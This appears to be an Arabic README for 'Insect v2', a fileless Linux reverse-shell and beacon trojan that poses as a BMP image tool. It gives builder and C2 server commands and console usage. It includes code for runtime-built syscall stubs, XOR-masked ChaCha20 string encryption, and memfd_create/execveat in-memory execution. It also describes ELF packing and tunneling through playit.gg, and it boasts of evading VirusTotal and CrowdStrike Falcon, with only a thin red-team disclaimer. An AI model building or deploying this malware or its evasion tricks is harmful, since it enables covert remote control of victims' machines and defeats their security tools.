
إطار عمل لصدفة عكسية وC2 بدون ملفات يستفيد من استدعاءات النظام المباشرة، وأنفاق البروكسي، وتشفير ChaCha20 لتجنب مضادات الفيروسات.
Insect هو حصان طروادة C2 لأوامر عكسية بدون ملفات وحمولات Linux للبيكون. يتخفى هذا الحصان كأداة معالجة صور BMP بعمق 24 بت. يستخدم Dynamic Syscall Stubs وmemfd_create وموارد نصية مشفرة بـ ChaCha20 وtunnel proxy وICC Profile Encryptor لتجنب التحليل الساكن. يدعم خادم C2 نوعين من الحمولات، تفاعلية وبيكون.
صياغة استدعاءات النظام يدويًا تقنية قديمة، لكن في Insect v2، قمت بتحسين طريقة بناء الـ stubs في وقت التشغيل للبقاء تحت رادار الماسحات الحديثة. من خلال بناء استدعاءات النظام ديناميكيًا، تتجنب الحمولة التوقيعات القياسية التي تلتقطها برامج مكافحة الفيروسات الساكنة عادةً.
في الاختبارات الواقعية، تجاوزت بنجاح كل محرك على VirusTotal. كما اختبرتها ضد CrowdStrike Falcon، حيث حصلت على "إشارة خضراء" دون أي اكتشافات من المحرك الساكن. أثناء التحليل الديناميكي، أثارت شكًا بسيطًا واحدًا فقط وتم تصنيفها في النهاية كآمنة أيضًا.
إخلاء المسؤولية: Insect V2 قيد التطوير، كما أنني لا أؤيد أي أنشطة غير قانونية، أنت حر في استخدامه لأغراض الفريق الأحمر. وتعديله.
server.py → وحدة تحكم C2 متعددة الجلسات
main.c → حمولة revshell (صدفة تفاعلية)
main_beacon.c → حمولة البيكون (استقصاء مدفوع بالمهام)
لدينا ملفان تعريفيان:
# Interactive reverse shell
python3 builder.py --profile revshell --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>
# Task-driven beacon
python3 builder.py --profile beacon --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>
كلاهما ينتج ملفًا تنفيذيًا bmputil. يقوم الباني بتشفير جميع النصوص العادية بـ ChaCha20 في وقت البناء، ويشفّر ملف ELF المُجمَّع بقناع ICC profile، ويقسّمه عبر أقسام ELF مُسمّاة، ويولّد stub محمّل.
python3 server.py
يبدأ مستمعًا على 0.0.0.0:8080 افتراضيًا.
(insect) > list # show active sessions
(insect) > use rev-a1b2c3d4 # interact with a revshell
(insect) > task bea-deadbeef whoami # queue a command for a beacon
(insect) > tasks bea-deadbeef # view completed task results
(insect) > listen beacon 0.0.0.0 9090 # start an additional listener
(insect) > exit
يتم تتبع الجلسات عبر معرّف ثابت فريد من 4 بايت مضمّن في وقت البناء.
عند التنفيذ على الجهاز المستهدف، تقبل الحمولة وسائط وهمية للحفاظ على الشرعية:
./bmputil input.bmp output.bmp --grayscale
تحت الغطاء، تتفرّع العملية، وتتصل مرة أخرى بـ C2 عبر نفق مصافحة Minecraft (playit.gg)، وتنتظر مُشغّل 0xDEAD. بمجرد تشغيله، تعيد توجيه stdin/stdout/stderr إلى المقبس وتُشغّل /bin/sh.
يحتفظ خادم C2 باتصالات revshell في سجل الجلسات. استخدم use <id> لربط طرفيتك بجلسة.
تتصل البيكونات، وتُسجّل بمعرّف beacon_id المضمّن، وتتحقق من المهام المعلّقة، وتنفّذها عبر fork + pipe + execve، وتُبلّغ بالنتائج، ثم تنام لمدة 30 ثانية وتعيد الاتصال.
استخدم task <id> <command> لجدولة العمل. تُخزَّن النتائج في الذاكرة وتُعرض بـ tasks <id>.
يتشارك الملفان التعريفيان نفس بدائيات التخطي:
uint8_t stub[] = {
0x48, 0x89, 0xf8, 0x48, 0x89, 0xf7, 0x48, 0x89, 0xd6,
0x48, 0x89, 0xca, 0x4d, 0x89, 0xc2, 0x4d, 0x89, 0xc8,
0x0f, 0x05, 0xc3
};
memcpy(buf + payload_size, stub, sizeof(stub));
long (*_sys)(long, long, long, long, long, long, long) = (void *)(buf + payload_size);
كما نوقش سابقًا، يتم بناء أكواد opcodes لاستدعاءات النظام (0F 05) في وقت التشغيل في ذاكرة قابلة للتنفيذ لتجنب التحليل الساكن.
static void _transform_resource(
const uint8_t *in, uint8_t *out, int len,
const uint8_t nce[8], int add_null
) {
uint32_t state[16] = {
0x61707865 ^ __CHACHA_MASK__, 0x3320646e ^ __CHACHA_MASK__, // chacha_mask = random.randint(0x10000000, 0x7FFFFFFF)
// ...
};
}
يتم تشفير كل نص في وقت البناء بـ nonce فريد. يحجب قناع XOR على ثوابت الحالة الاكتشافات القائمة على التوقيعات لإعداد ChaCha20.
long fd = _sys(SYS_MEMFD_CREATE, (long)"", 0, 0, 0, 0, 0);
if (fd >= 0) {
_sys(SYS_WRITE, fd, (long)buf, tot, 0, 0, 0);
long p = _sys(SYS_FORK, 0, 0, 0, 0, 0, 0);
if (p == 0) {
char *args[] = { (char *)APP_NAME, NULL };
_sys(SYS_EXECVEAT, fd, (long)"", (long)args, 0, AT_EMPTY_PATH, 0);
_sys(SYS_EXIT, 1, 0, 0, 0, 0, 0);
}
_sys(SYS_CLOSE, fd, 0, 0, 0, 0, 0);
}
تُنفَّذ الحمولة بالكامل من الذاكرة عبر memfd_create + execveat.
تقنيًا، يتم اكتشاف memfd_create وexecveat بواسطة برامج مكافحة الفيروسات لكنهما مشفّران ومبنيان في وقت التشغيل، ومن المدهش في الاختبارات الواقعية، أنه لا يتم الإبلاغ عنه.
يتم تشفير ELF الوسيط بـ XOR باستخدام جدول بحث ألوان ICC مصحّح بجاما ومفتاح عشوائي من 32 بايت، ثم يُقسَّم عبر 8 أقسام مُسمّاة .rodata.blk*. يعيد stub المحمّل تجميعها وفك تشفيرها وتنفيذها.
هذه الطريقة ليست جديدة، بل هي تقنية قديمة، لكن insect v2 يعدّل ويعيد تنفيذ تقنيات مذكورة في كتابات أمنية وبرمجيات خبيثة متنوعة، يمكنك الاطلاع عليها هنا: